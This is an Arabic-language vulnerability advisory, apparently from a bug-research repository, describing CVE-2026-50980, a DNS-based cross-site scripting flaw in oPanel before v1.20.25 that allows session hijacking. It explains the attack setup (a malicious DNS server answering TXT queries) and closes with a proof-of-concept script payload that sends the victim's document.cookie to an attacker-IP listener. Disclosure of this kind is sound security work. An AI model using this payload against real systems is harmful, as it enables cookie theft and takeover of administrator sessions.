bugresearch/cve-2026-50980oPanel هجمات النص البرمجي عبر المواقع (XSS) المستندة إلى DNS وخطف الجلسات
توجد ثغرة برنامج النص بين المواقع (XSS) في oPanel (الإصدارات الأقدم من v1.20.25) بسبب المعالجة غير السليمة وتنظيف استجابات DNS. عندما يقوم اللوحة بإجراء استعلام DNS (مثل استرداد معلومات المجال، أو التحقق من انتشار DNS، أو الاستعلام عن سجلات TXT) ضد خادم أسماء يسيطر عليه المهاجم، فإنها تعكس سجلات DNS التي تم إرجاعها مباشرة في واجهة الويب دون ترميز HTML كافٍ.
يمكن للمهاجم استغلال ذلك عن طريق تكوين خادم DNS خبيث للاستجابة لاستعلامات سجلات TXT بحمولة JavaScript ضارة. عندما يقوم مستخدم مصادق عليه في oPanel (مثل المسؤول) بعرض الصفحة التي تُعرض فيها استجابة DNS، يتم تنفيذ الحمولة في سياق جلسة متصفحه.
يسمح الاستغلال الناجح للمهاجم بتنفيذ JavaScript عشوائية في متصفح الضحية. كما هو موضح في برهان المفهوم، يمكن استخدام هذا لسرقة ملفات تعريف الارتباط المصادقة الحساسة (document.cookie)، مما يؤدي إلى اختطاف كامل للجلسة والوصول الإداري غير المصرح به إلى بيئة oPanel.
يتطلب الاستغلال من المهاجم إعداد خادم DNS خبيث ومستمع HTTP لالتقاط البيانات المسربة.
يقوم المهاجم بتشغيل خادم DNS خبيث على المنفذ UDP 53 ويكون مهيئًا للاستجابة لأي استعلام TXT بحمولة XSS.
حمولة سجل TXT الخبيثة:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>